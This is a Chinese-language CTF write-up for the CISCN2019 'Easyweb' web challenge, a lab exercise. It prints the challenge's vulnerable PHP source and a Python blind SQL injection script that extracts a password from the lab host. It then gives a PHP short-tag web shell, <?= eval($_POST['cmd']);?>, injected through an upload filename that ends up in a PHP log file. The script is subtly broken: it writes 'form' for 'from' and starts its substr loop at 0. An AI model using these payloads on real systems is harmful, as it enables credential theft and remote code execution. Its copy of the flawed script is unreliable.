[CISCN2019 总决赛 Day2 Web1]Easyweb

进入之后先是扫目录(反正我没扫出来hhh
得到images.php.bak
和一个robots.txt
发下里面是sql相关的东西。

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

考虑sql注入拿密码。
\这些转义被过滤了
考虑username='\\0'
可以转义,然后就是基础的盲注,
能拿到密码
贴下脚本吧。
这里的table,一定注意要使用。十六进制形式,不然访问不到,

import requests
import time
result=''
url=r'http://65e66936-430e-490b-88ff-93ac189b5bc4.node3.buuoj.cn/image.php'
for i in range (0,100):
    low=1
    high=127
    mid=(low+high)>>1
    while high>low:
        payload = " or if(ascii(substr((select password form users limit 1 offset 0),%d,1))>%d,1,0)#" % (i, mid)
        params ={
            'id':'\\\\0',
            'path':payload
        }
        response=requests.get(url,params=params)
        if b'JFIF' in response.content:
            low=mid+1
        else:
            high=mid
        mid=(low+high)>>1
    print(mid)
    result+=chr(int(mid))
    print(result)

拿下密码登录之后,随便传个文件,发现filename会被加到日志里面。是一个php文件,直接把文件名搞成一句话。waf了。
这里有一个神奇绕过,php_ini配置文件中的short_open_tag的值,开启以后可以使用PHP的短标签:<?= ?>相当于<?php echo >,这个时候把短标签试试,<?= eval($_POST['cmd']);?>,成功执行:
传马,蚁剑连。得到flag。

推荐文章